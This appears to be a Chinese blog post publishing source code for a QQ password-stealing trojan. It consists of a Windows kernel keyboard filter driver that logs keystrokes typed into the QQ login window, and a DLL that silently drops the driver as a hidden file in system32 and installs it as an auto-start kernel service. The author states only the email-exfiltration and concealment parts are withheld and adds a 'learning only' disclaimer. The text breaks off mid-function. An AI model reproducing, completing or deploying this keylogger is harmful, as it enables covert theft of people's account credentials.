ZUDN

博客园 首页 新随笔 联系 订阅 管理

 现在网上很多盗QQ的木马,发现都不管用得,顺便做了这只QQ木马,这里发布一部分核心的代码内核代码,用于记录QQ密码,此代码编译后可以在win2000到win7下正常运行,百分百能获取正确的QQ和密码, 用户太下面的代码,只能获取QQ和密码,不带邮件发送功能,和系统隐藏功能,主要是怕有些人哪去干坏事,所以我不发布完整版的代码, 以下驱动代码需要编译为 NTI0.SYS 文件放到 C:\\Windows\\system32\\目录下面,在编译后面的代码,为一个DLL,最自己在用C写一个控制台程序加载 编译后的DLL ,运行起打开QQ登录后,就会显示出QQ帐号和密码,本篇文章只供学习只用,请不要哪去做坏事,后果自负。
#include <ntddk.h>
#include <string.h>
#include <Ntstrsafe.h>
#define KEY_UP 1 
#define KEY_DOWN 0
#define LCONTROL ((USHORT)0x1D) 
#define CAPS_LOCK ((USHORT)0x3A)
unsigned char asciiTbl[]={
 0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
 0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
 0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
 0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
 0x32, 0x33, 0x30, 0x2E,
 0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
 0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
 0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
 0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
 0x32, 0x33, 0x30, 0x2E,
 0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
 0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
 0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
 0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
 0x32, 0x33, 0x30, 0x2E,
 0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
 0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
 0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
 0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
 0x32, 0x33, 0x30, 0x2E
};
CHAR s_QQPassword[100]={0x00};
CHAR s_QQUser[100]={0x00};
CHAR s_TempC=0x00;
ULONG s_QQCount=0;
ULONG s_QQStatus=0;
ULONG s_DownCount=0;
ULONG s_UpChar=0;
typedef struct _FILTER_DEVICE_EXTEN
{
 PDEVICE_OBJECT pFilterDeviceObject;//过滤设备
 PDEVICE_OBJECT pTagerDeviceObject;//绑定的设备对象
 KSPIN_LOCK Lockspin;//调用时的保护锁
 KEVENT ProcessEvent;//进程间同步
 PDEVICE_OBJECT LowDeviceObject;//绑定前底层设备对象
}FILTER_DEVICE_EXTEN,*PFILTER_DEVICE_EXTEN;
NTSTATUS
ObReferenceObjectByName(
      PUNICODE_STRING ObjectName,
      ULONG Attributes,
      PACCESS_STATE AccessState,
      ACCESS_MASK DesiredAccess,
      POBJECT_TYPE ObjectType,
      KPROCESSOR_MODE AccessMode,
      PVOID ParseContext,
      PVOID *Object
      );
extern POBJECT_TYPE IoDriverObjectType;
ULONG gC2pKeyCount = 0;
VOID FilterUnload(IN PDRIVER_OBJECT pDriverObject);
VOID c2pDetach(IN PDEVICE_OBJECT pDeviceObject);
NTSTATUS AllIrpOther(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp);
NTSTATUS FilterPower(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp);//IRP_MJ_POWER要调用一个PoCallDriver与PoStartNextPowerIrp
NTSTATUS FilterPnp(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp);//IRP_MJ_PNP还要一个PNP(即插即用)分发函数
NTSTATUS AttachDeviceObject(PDRIVER_OBJECT pDriverObject);
NTSTATUS FilterReadIrp(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp);//read irp
NTSTATUS FilterCompletionRoutine(IN PDEVICE_OBJECT pCRDeviceObject,IN PIRP pCRIrp,IN PVOID Context);
NTSTATUS QQPassowrdControl(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp);
NTSTATUS FilterCreateClose(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp);
void __stdcall print_keystroke(UCHAR sch);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
 int i;
 for (i=0;i<IRP_MJ_MAXIMUM_FUNCTION+1;i++)
 {
  pDriverObject->MajorFunction=AllIrpOther;
 }
 pDriverObject->DriverUnload=FilterUnload;//卸载函数
 pDriverObject->MajorFunction[IRP_MJ_CREATE]=FilterCreateClose;
 pDriverObject->MajorFunction[IRP_MJ_CLOSE]=FilterCreateClose;
 pDriverObject->MajorFunction[IRP_MJ_POWER]=FilterPower;
 pDriverObject->MajorFunction[IRP_MJ_PNP]=FilterPnp;
 pDriverObject->MajorFunction[IRP_MJ_READ]=FilterReadIrp;
 //设置控制函数用来获取QQ密码
 pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=QQPassowrdControl;
 //KdPrint(("DriverEntry\n")); 
 return AttachDeviceObject(pDriverObject);
}
/************************************************************************/
/* 其它直接用IoCallDriver把IRP传到下一层驱动中                         */
/************************************************************************/
NTSTATUS AllIrpOther(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)
{
 NTSTATUS status;
 PFILTER_DEVICE_EXTEN pFilterExten;
 ULONG i;
 //KdPrint(("Other IRP!\n")); 
 pFilterExten=(PFILTER_DEVICE_EXTEN)pDeviceObject->DeviceExtension;
 IoSkipCurrentIrpStackLocation(pIrp); 
 status=IoCallDriver(pFilterExten->LowDeviceObject,pIrp);
 //DbgPrint("Other5 IoCallDriver:  %x  \n",status); 
 s_QQCount=100;
 while(s_QQCount>0)
 {
  s_QQPassword[s_QQCount--]=0x00;
 }
 s_QQStatus=0;
 s_QQCount=0;
 return status;
}
/************************************************************************/
/*生成过滤设备并绑定键盘设备及保存各种设备地址在扩展设备中              */
/************************************************************************/
NTSTATUS AttachDeviceObject(PDRIVER_OBJECT pDriverObject)
{
 NTSTATUS status;
 UNICODE_STRING uKbdKeyName;
 PFILTER_DEVICE_EXTEN pFilterExten;
 PDEVICE_OBJECT pTargetDevice=NULL;
 PDEVICE_OBJECT pLowDevice=NULL;
 PDEVICE_OBJECT pFilterDevice=NULL;
 PDRIVER_OBJECT KbdDriverObject = NULL;
 UNICODE_STRING ntUnicodString[3];
 UNICODE_STRING dosUnicodString[3];
 ULONG ntCount=0;
 
 RtlInitUnicodeString(&ntUnicodString[0],L"\\Driver\\keyboard1");
 RtlInitUnicodeString(&ntUnicodString[1],L"\\Driver\\keyboard2");
 RtlInitUnicodeString(&ntUnicodString[1],L"\\Driver\\keyboard3");
 RtlInitUnicodeString(&dosUnicodString[0],L"\\DosDevices\\KernelKeyboardAccess1");
 RtlInitUnicodeString(&dosUnicodString[1],L"\\DosDevices\\KernelKeyboardAccess2");
 RtlInitUnicodeString(&dosUnicodString[1],L"\\DosDevices\\KernelKeyboardAccess3");
 RtlInitUnicodeString(&uKbdKeyName, L"\\Driver\\Kbdclass"); 
 status = ObReferenceObjectByName ( 
  &uKbdKeyName, 
  OBJ_CASE_INSENSITIVE, 
  NULL, 
  0, 
  IoDriverObjectType, 
  KernelMode, 
  NULL, 
  &KbdDriverObject 
  ); 
 if(!NT_SUCCESS(status)) 
 { 
  KdPrint(("找不到\\Driver\\Kbdclass驱动对象。\n")); 
  return( status ); 
 }
 else
 {
  ObDereferenceObject(pDriverObject);
 }
 pTargetDevice=KbdDriverObject->DeviceObject;
 while (pTargetDevice)
 {
  status=IoCreateDevice(pDriverObject,
   sizeof(FILTER_DEVICE_EXTEN),
   &ntUnicodString[ntCount],
   pTargetDevice->Type,
   pTargetDevice->Characteristics,
   FALSE,
   &pFilterDevice);
  //DbgPrint("IoCreateDevice:  %x  \n",status); 
  if (!NT_SUCCESS(status))
  {
   //KdPrint(("Create Device Error!\n"));
   return status;
  }
  pLowDevice=IoAttachDeviceToDeviceStack(pFilterDevice,pTargetDevice);
  if (!pLowDevice)
  {
   //KdPrint(("Attach Device No Success!\n"));
   return status;
  }
  pFilterExten=(PFILTER_DEVICE_EXTEN)pFilterDevice->DeviceExtension;
  RtlZeroMemory(pFilterExten,sizeof(FILTER_DEVICE_EXTEN));//zero memory
  pFilterExten->pFilterDeviceObject=pFilterDevice;
  pFilterExten->pTagerDeviceObject=pTargetDevice;
  pFilterExten->LowDeviceObject=pLowDevice;
  KeInitializeSpinLock(&(pFilterExten->Lockspin)); 
  KeInitializeEvent(&(pFilterExten->ProcessEvent), NotificationEvent, FALSE);
  //KdPrint(("创建!\n")); 
  pFilterDevice->DeviceType=pLowDevice->DeviceType; 
  pFilterDevice->Characteristics=pLowDevice->Characteristics; 
  pFilterDevice->StackSize=pLowDevice->StackSize+1; 
  pFilterDevice->Flags |= pLowDevice->Flags & (DO_BUFFERED_IO | DO_DIRECT_IO | DO_POWER_PAGABLE) ; 
  //next device 
  pTargetDevice =pTargetDevice->NextDevice;
  ntCount++;
 }
 status=IoCreateSymbolicLink(&dosUnicodString[0],&ntUnicodString[0]);
 if (!NT_SUCCESS(status))
 {
  //KdPrint(("Create IoCreateSymbolicLink1 Error!\n"));
  return status;
 }
 status=IoCreateSymbolicLink(&dosUnicodString[1],&ntUnicodString[1]);
 if (!NT_SUCCESS(status))
 {
  //KdPrint(("Create IoCreateSymbolicLink2 Error!\n"));
  return status;
 }
 return status;
}
/************************************************************************/
/* IRP_MJ_POWER                                                        */
/************************************************************************/
NTSTATUS FilterPower(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)
{
 PFILTER_DEVICE_EXTEN pFilterExten;
 pFilterExten =(PFILTER_DEVICE_EXTEN)pDeviceObject->DeviceExtension; 
 PoStartNextPowerIrp( pIrp ); 
 IoSkipCurrentIrpStackLocation( pIrp ); 
 return PoCallDriver(pFilterExten->LowDeviceObject, pIrp ); 
}
/************************************************************************/
/* IRP_MJ_PNP                                                          */
/************************************************************************/
NTSTATUS FilterPnp(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)
{
 PFILTER_DEVICE_EXTEN pFilterExten; 
 PIO_STACK_LOCATION irpStack; 
 NTSTATUS status = STATUS_SUCCESS;
 // 获得真实设备。
 pFilterExten = (PFILTER_DEVICE_EXTEN)(pDeviceObject->DeviceExtension); 
 irpStack = IoGetCurrentIrpStackLocation(pIrp); 
 switch (irpStack->MinorFunction) 
 { 
 case IRP_MN_REMOVE_DEVICE: 
  //KdPrint(("IRP_MN_REMOVE_DEVICE\n")); 
  // 首先把请求发下去
  IoSkipCurrentIrpStackLocation(pIrp); 
  IoCallDriver(pFilterExten->LowDeviceObject, pIrp); 
  // 然后解除绑定。
  IoDetachDevice(pFilterExten->LowDeviceObject); 
  // 删除我们自己生成的虚拟设备。
  IoDeleteDevice(pDeviceObject); 
  status = STATUS_SUCCESS; 
  break; 
 default: 
  // 对于其他类型的IRP,全部都直接下发即可。 
  IoSkipCurrentIrpStackLocation(pIrp); 
  status = IoCallDriver(pFilterExten->LowDeviceObject, pIrp); 
 } 
 return status; 
}
/************************************************************************/
/* UnLoad                                                              */
/************************************************************************/
VOID FilterUnload(IN PDRIVER_OBJECT pDriverObject)
{
 PDEVICE_OBJECT DeviceObject; 
 PDEVICE_OBJECT OldDeviceObject; 
 PFILTER_DEVICE_EXTEN pFilterExten; 
 LARGE_INTEGER lDelay;
 PKTHREAD CurrentThread;
 UNICODE_STRING ntUnicodString[3];
 UNICODE_STRING dosUnicodString[3];
 
 RtlInitUnicodeString(&ntUnicodString[0],L"\\Driver\\keyboard1");
 RtlInitUnicodeString(&ntUnicodString[1],L"\\Driver\\keyboard2");
 RtlInitUnicodeString(&ntUnicodString[1],L"\\Driver\\keyboard3");
 RtlInitUnicodeString(&dosUnicodString[0],L"\\DosDevices\\KernelKeyboardAccess1");
 RtlInitUnicodeString(&dosUnicodString[1],L"\\DosDevices\\KernelKeyboardAccess2");
 RtlInitUnicodeString(&dosUnicodString[1],L"\\DosDevices\\KernelKeyboardAccess3");
 //delay some time 
 lDelay = RtlConvertLongToLargeInteger(-1000000);
 CurrentThread = KeGetCurrentThread();
 // 把当前线程设置为低实时模式,以便让它的运行尽量少影响其他程序。
 KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY);
 UNREFERENCED_PARAMETER(pDriverObject); 
 //KdPrint(("DriverEntry unLoading...\n"));
 IoDeleteSymbolicLink(&dosUnicodString[0]);
 IoDeleteSymbolicLink(&dosUnicodString[1]);
 // 遍历所有设备并一律解除绑定
 DeviceObject = pDriverObject->DeviceObject;
 while (DeviceObject)
 {
  // 解除绑定并删除所有的设备
  c2pDetach(DeviceObject);
  DeviceObject = DeviceObject->NextDevice;
 } 
 ASSERT(NULL ==pDriverObject->DeviceObject);
 while (gC2pKeyCount)
 {
  KeDelayExecutionThread(KernelMode, FALSE, &lDelay);
 }
 //KdPrint(("DriverEntry unLoad OK!\n")); 
 return; 
}
 
VOID 
c2pDetach(IN PDEVICE_OBJECT pDeviceObject) 

 PFILTER_DEVICE_EXTEN pFilterExten; 
 BOOLEAN NoRequestsOutstanding = FALSE; 
 pFilterExten = (PFILTER_DEVICE_EXTEN)pDeviceObject->DeviceExtension; 
 __try 
 { 
  __try 
  { 
   IoDetachDevice(pFilterExten->pTagerDeviceObject);
   pFilterExten->pTagerDeviceObject = NULL; 
   IoDeleteDevice(pDeviceObject); 
   pFilterExten->pFilterDeviceObject = NULL; 
   //DbgPrint(("Detach Finished\n")); 
  } 
  __except (EXCEPTION_EXECUTE_HANDLER){} 
 } 
 __finally{} 
 return; 
}
/************************************************************************/
/* read irp                                                            */
/************************************************************************/
NTSTATUS FilterReadIrp(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)
{
 NTSTATUS status; 
 PFILTER_DEVICE_EXTEN pFilterExten; 
 //PIO_STACK_LOCATION currentIrpStack; 
 KEVENT waitEvent;
 status= STATUS_SUCCESS;
 KeInitializeEvent( &waitEvent, NotificationEvent, FALSE ); 
 if (pIrp->CurrentLocation == 1) 
 { 
  //KdPrint(("Dispatch encountered bogus current location\n")); 
  status = STATUS_INVALID_DEVICE_REQUEST; 
  pIrp->IoStatus.Status = status; 
  pIrp->IoStatus.Information = 0; 
  IoCompleteRequest(pIrp, IO_NO_INCREMENT); 
  return(status); 
 } 
 // 全局变量键计数器加1
 gC2pKeyCount++;
 // 得到设备扩展。目的是之后为了获得下一个设备的指针。
 pFilterExten=(PFILTER_DEVICE_EXTEN)pDeviceObject->DeviceExtension;
 // 设置回调函数并把IRP传递下去。 之后读的处理也就结束了。
 // 剩下的任务是要等待读请求完成。
 //currentIrpStack = IoGetCurrentIrpStackLocation(pIrp); 
 IoCopyCurrentIrpStackLocationToNext(pIrp);
 IoSetCompletionRoutine( pIrp, FilterCompletionRoutine, 
  pDeviceObject, TRUE, TRUE, TRUE ); 
 return IoCallDriver( pFilterExten->LowDeviceObject, pIrp ); 
}
// flags for keyboard status
static int s_shift2=0;
static int s_caps2=0;
static int s_num=0;
NTSTATUS FilterCompletionRoutine(IN PDEVICE_OBJECT pCRDeviceObject,IN PIRP pCRIrp,IN PVOID Context)
{
 PIO_STACK_LOCATION IrpSp;
 ULONG buf_len;
 PUCHAR buf;
 size_t i; 
 buf = NULL;
 buf_len = 0;
 IrpSp = IoGetCurrentIrpStackLocation( pCRIrp );
 // 如果这个请求是成功的。很显然,如果请求失败了,这么获取
 //   进一步的信息是没意义的。
 if( NT_SUCCESS( pCRIrp->IoStatus.Status ) ) 
 {
  // 获得读请求完成后输出的缓冲区
  buf = pCRIrp->AssociatedIrp.SystemBuffer;
  // 获得这个缓冲区的长度。一般的说返回值有多长都保存在
  // Information中。
  buf_len = pCRIrp->IoStatus.Information;
  //… 这里可以做进一步的处理。我这里很简单的打印出所有的扫
  // 描码。
  if(buf[4]==0x00)
  {
   switch (buf[2])
   {
   case 0x3A:
    s_caps2=s_caps2==0?1:0;
    break;
   case 0x2A:
   case 0x36:
    s_shift2=1;
    break;
   case 0x45:
    s_num=s_num==0?1:0;
    break;
   default:
    print_keystroke((UCHAR)buf[2]);
   }
  }
  else if(buf[4]==0x01)
  {
   switch (buf[2])
   {
   case 0x2A:
   case 0x36:
    s_shift2=0;
    break;
   }
  }
  //if( KeyData.MakeCode == CAPS_LOCK) 
  //{ 
  //KeyData.MakeCode = LCONTROL; 
  //} 
 }
 gC2pKeyCount--;
 if( pCRIrp->PendingReturned )
 { 
  IoMarkIrpPending( pCRIrp ); 
 } 
 return pCRIrp->IoStatus.Status;
}
void __stdcall print_keystroke(UCHAR sch)
{
 UCHAR ch = 0;
 if ((sch < 0x47) || 
  ((sch >= 0x47 && sch < 0x54) && s_num==0)) // Num Lock
 {
  ch = asciiTbl[sch];
  if(s_shift2==1&&s_caps2==1)
   ch = asciiTbl[sch+84*3];
  else if(s_shift2==1)
   ch = asciiTbl[sch+84*2];
  else if(s_caps2==1)
   ch = asciiTbl[sch+84];
 }
 if(ch==0x08)
 {
  if(s_QQStatus==1)
  {
   s_UpChar=2;
   s_DownCount++;
   if(s_QQCount>=1)
   {
    s_TempC=s_QQPassword[s_QQCount];
    s_QQPassword[--s_QQCount]=0x00;
   }
  }
  //DbgPrint("退格");
 }
 if (ch >= 0x20 && ch < 0x7F)
 {
  if(s_QQStatus==1)
  {
   s_UpChar=1;
   s_DownCount++;
   s_QQPassword[s_QQCount++]=ch;
  }
  //DbgPrint("%C",ch);
 }
}
#define OPENNOTE 1
#define STOPNOTE 2
#define GETNOTE  4
#define DELNOTE  5
#define DOWNNOTE 6
NTSTATUS QQPassowrdControl(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)
{
 PIO_STACK_LOCATION IrpSp;
 NTSTATUS status=STATUS_SUCCESS; 
 PCHAR inBuf,outBuf;
 LONG inBufLength,outBufLength;
 //LONG i;
 //PCHAR data="This String is from Device Driver !!!";
 //LONG dataLen=strlen(data)+1;
 IrpSp = IoGetCurrentIrpStackLocation( pIrp );
 //DbgPrint("密码:%s",s_QQPassword);
 
 inBufLength=IrpSp->Parameters.DeviceIoControl.InputBufferLength;
 outBufLength=IrpSp->Parameters.DeviceIoControl.OutputBufferLength;
 if(!inBufLength||!outBufLength)
 {
  DbgPrint("输入或者输出缓冲区有问题!");
  IoCompleteRequest(pIrp,IO_NO_INCREMENT);
  return status;
 }
 inBuf=pIrp->AssociatedIrp.SystemBuffer;
 if(pIrp->MdlAddress!= NULL)
     outBuf=MmGetSystemAddressForMdl(pIrp->MdlAddress);//inBuf=MmGetSystemAddressForMdlSafe(pIrp->MdlAddress);
 else
  outBuf=pIrp->UserBuffer;
 if(inBuf == NULL)
  outBuf=pIrp->AssociatedIrp.SystemBuffer;
 //if(pIrp->MdlAddress!= NULL)
 // outBuf=MmGetSystemAddressForMdl(pIrp->MdlAddress);//inBuf=MmGetSystemAddressForMdlSafe(pIrp->MdlAddress);
 //else
 // outBuf=pIrp->UserBuffer;
 //if(inBuf == NULL)
 // outBuf=pIrp->AssociatedIrp.SystemBuffer;
 //inBuf=MmGetSystemAddressForMdlSafe(pIrp->MdlAddress);
 
 //DbgPrint("addressIn2:%x  len:%d  data:%s",inBuf,inBufLength,inBuf);
 //DbgPrint("addressOut2:%x  len:%d  data:%s",outBuf,outBufLength,outBuf);
 switch(IrpSp->Parameters.DeviceIoControl.IoControlCode)
 {
 case OPENNOTE:
  s_QQStatus=1;
  //DbgPrint("记录密码");
  break;
 case STOPNOTE:
  s_QQStatus=0;
  //DbgPrint("停止记录");
  //DbgPrint("%s",s_QQPassword);
  break;
 case GETNOTE:
  //DbgPrint("返回密码");
  //DbgPrint("%s",s_QQPassword);
  strncpy(outBuf,s_QQPassword,outBufLength);
  strncpy(inBuf,s_QQPassword,inBufLength);
  pIrp->IoStatus.Information=inBufLength<s_QQCount?outBufLength:s_QQCount;
  //DbgPrint("address3:%x  len:%d  data:%s",outBuf,outBufLength,outBuf);
  s_QQCount=100;
  while(s_QQCount>0)
  {
   s_QQPassword[s_QQCount--]=0x00;
  }
  s_QQStatus=0;
  s_QQCount=0;
  break;
 case DELNOTE:
  //DbgPrint("删除一个字符");
  //判断是退格还是 正常字符
  if(s_UpChar==2)
  {
   s_QQPassword[s_QQCount++]=s_TempC;
  }
  else if(s_UpChar==1)
  {
   if(s_QQCount>=1)
   {
    //首先保存一下当前这个字符,以便恢复
    s_QQPassword[--s_QQCount]=0x00;
   }
   //DbgPrint("%s",s_QQPassword);
  }
  s_TempC=0x00;
  break;
 case DOWNNOTE:
  //判断当前是否有新的按键按下
  RtlStringCbPrintfW(s_QQUser,100,L"%d",s_DownCount);
  strncpy(outBuf,s_QQUser,outBufLength);
  strncpy(inBuf,s_QQUser,inBufLength);
  pIrp->IoStatus.Information=inBufLength;
  s_DownCount=0;
  break;
 }
 IoCompleteRequest(pIrp,IO_NO_INCREMENT);
 return status;
}
NTSTATUS FilterCreateClose(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)
{
 pIrp->IoStatus.Status=STATUS_SUCCESS;
 pIrp->IoStatus.Information=0;
 IoCompleteRequest(pIrp,IO_NO_INCREMENT);
 return STATUS_SUCCESS;
}
一下代码为 DLL  中主要启动服务 获取QQ版本,QQ号码,QQ密码的部门,这里调用了一个 C:\\Windows\\system32\\NTI0.SYS 驱动文件, 也就是上面那段 代码编译后的生成的那个驱动文件来获取QQ密码。
// QQDLL2.cpp : Defines the entry point for the DLL application.
//
// VIPQQ.cpp : 定义 DLL 应用程序的入口点。
//
#include "stdafx.h"
#include <stdlib.h>
#include <stdio.h>
#include "resource.h"
#pragma data_seg("system32dllflags")
HINSTANCE hInstance=NULL;
HANDLE hEvent=NULL;
HANDLE closeThread=NULL;
HANDLE driverThread=NULL;
HANDLE hDevice=NULL;
HANDLE deviceEvent=NULL;
#pragma data_seg()
#pragma comment(linker,"/SECTION:system32dllflags,RWS")
#define DriverName "KernelKeyboard"
void StartService();
void StopService();
DWORD WINAPI DriverThreadProc(LPVOID lpParameter);
BOOL CALLBACK EnumWindowsProcQqLogin( HWND hWnd, LPARAM lParam);
bool IsQQLoginWindow(HWND hUserPwd);
DWORD WINAPI CloseThreadProc(LPVOID lpParameter);
CHAR QQVersion[32];
CHAR UserAccounts[32];
CHAR UserPasswrd[32];
BOOL passwordError=false;
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
 hInstance = hinstDLL;
 switch(fdwReason)
 {
  case DLL_PROCESS_ATTACH://如果是一个进程加载本DLL,那么就启动服务监听QQ
   StartService();
   break;
  case DLL_THREAD_ATTACH:
   break;
  case DLL_PROCESS_DETACH://进程关闭后,停止
   StopService();
   break;
  case DLL_THREAD_DETACH:
   break;
  default:
   break;
 }
 return TRUE;
}
void StartService()
{
 //判断事件是否创建
 if(hEvent==NULL)
 {
  hEvent=CreateEvent(NULL,FALSE,TRUE,NULL);
 }
 ::WaitForSingleObject(hEvent,INFINITE);
 //开启一个线程用来关闭,那些安全软件谈出来的,安装驱动时候的提示.
 if(closeThread==NULL)
 {
  //closeThread=::CreateThread(NULL,0,CloseThreadProc,0,NULL,NULL);
 }
 //开启一个线程检查 驱动文件是否正常启动
 if(driverThread==NULL)
 {
  //driverThread=::CreateThread(NULL,0,DriverThreadProc,0,NULL,NULL);
 }
 DriverThreadProc(NULL);
 //休息2秒后继续向下执行
 Sleep(2000);
 //循环枚举所有窗口,应为这个程序要求他在开机之间都是启动的,所以是一个无限循环,不断的去验证
 while(true)
 {
  //枚举所有窗口,找出QQ登录窗口,然后在里面进行记录QQ帐号密码信息
  EnumWindows(EnumWindowsProcQqLogin, 0);
  //每隔1秒枚举一次
  Sleep(1000);
 }
}
void StopService()
{
 ::SetEvent(hEvent);
}
DWORD WINAPI DriverThreadProc(LPVOID lpParameter)
{
 //此线程负责检查创建驱动文件,和启动驱动
 CHAR systemDirectory[128];
 GetSystemDirectory(systemDirectory,128);
 strcat(systemDirectory,"\\NTI0.SYS");
 //printf("%s\r\n",systemDirectory);
 if(deviceEvent==NULL)
 {
  deviceEvent=CreateEvent(NULL,FALSE,TRUE,NULL);
 }
 //while(true)
 {
  //printf("驱动线程开始工作!\r\n");
  //MessageBox(NULL,"驱动线程开始工作","消息",MB_OK);
  WIN32_FIND_DATA FindFileData;
  //判断驱动文件是否存在
  if(FindFirstFile(systemDirectory, &FindFileData)==INVALID_HANDLE_VALUE)
  {
   //读取资源文件,将驱动文件写到系统目录下面
   HRSRC  hRsrc=::FindResource(NULL,MAKEINTRESOURCE(IDR_SYS1),"SYS");
   HGLOBAL hGlobal=::LoadResource(NULL,hRsrc);
   DWORD dwSize = SizeofResource(NULL,hRsrc);
   LPVOID lpData=::LockResource(hGlobal);
   HANDLE hFile = CreateFile(systemDirectory,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,
    NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
   DWORD dwWrited = 0;
   printf("dwSize:%d\r\n",dwSize);
   WriteFile(hFile,lpData,dwSize,&dwWrited,NULL);
   CloseHandle(hFile);
   ::FreeResource(lpData);
  // printf("写入驱动文件完成!\r\n");
  }
  SC_HANDLE schSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
  SC_HANDLE schSCService;
  SERVICE_STATUS serviceStatus;
  //启动驱动服务
  schSCService=OpenService(schSCManager,DriverName,SERVICE_ALL_ACCESS);
  StartService(schSCService,0,NULL);
  //判断驱动是否启动,如果没有启动,就启动,然后创建连接
  //先打开测试是否成功
  hDevice=CreateFile("\\\\.\\KernelKeyboardAccess1",GENERIC_READ|GENERIC_WRITE,0,NULL,CREATE_ALWAYS,
   FILE_ATTRIBUTE_NORMAL,NULL);
  if(hDevice==INVALID_HANDLE_VALUE)
  {
   //printf("创建驱动程序!\r\n");
   //停止我们的驱动
   ControlService(schSCService,SERVICE_CONTROL_STOP,&serviceStatus);
   //删除驱动
   schSCService=OpenService(schSCManager,DriverName,SERVICE_ALL_ACCESS);
   DeleteService(schSCService);
   //然后在创建一个驱动
   schSCService=CreateService(schSCManager,DriverName,DriverName,SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,
    SERVICE_AUTO_START,SERVICE_ERROR_NORMAL,systemDirectory,NULL,NULL,NULL,NULL,NULL);
   //启动驱动
   schSCService=OpenService(schSCManager,DriverName,SERVICE_ALL_ACCESS);
   StartService(schSCService,0,NULL);
   //重新打开连接
   hDevice=CreateFile("\\\\.\\KernelKeyboardAccess1",GENERIC_READ|GENERIC_WRITE,0,NULL,CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,NULL);
  }
  if(hDevice!=INVALID_HANDLE_VALUE)
  {
   printf("驱动程序工作正常!\r\n");
   SetEvent(deviceEvent);
   Sleep(50);
   //::WaitForSingleObject(deviceEvent,INFINITE);
  }
  else
  {
   printf("驱动程序工作不正常!\r\n");
   Sleep(100);
  }
 }
 return 0;
}
BOOL CALLBACK EnumWindowsProcQqPasswordError(HWND hWnd, LPARAM lParam)
{
 char windowFormTitle[255]="\0";
 //获得窗口标题
 ::SendMessage(hWnd,WM_GETTEXT,255,(LPARAM)windowFormTitle);
